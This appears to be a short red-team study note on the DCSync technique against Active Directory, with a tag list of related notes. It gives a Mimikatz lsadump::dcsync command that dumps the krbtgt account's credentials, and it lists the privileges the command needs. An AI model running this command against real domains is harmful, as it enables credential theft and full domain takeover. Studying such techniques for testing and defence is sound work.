DCSYNC with SafetyKatz

Technique Info

DCSync Attack with MimiKatz.exe

MimiKatz.exe "lsadump::dcsync /user:dcorp\krbtgt"

Requirements

• Domain Admin
• Enterprise Admin
• Domain Controller Privileges

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows") OR contains(tags, "looting") OR contains(tags, "post-exploitation") OR contains(tags, "active-directory")
SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

looting

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "looting")
SORT file.ctime DESC

post-exploitation

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "post-exploitation")
SORT file.ctime DESC

active-directory

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory")
SORT file.ctime DESC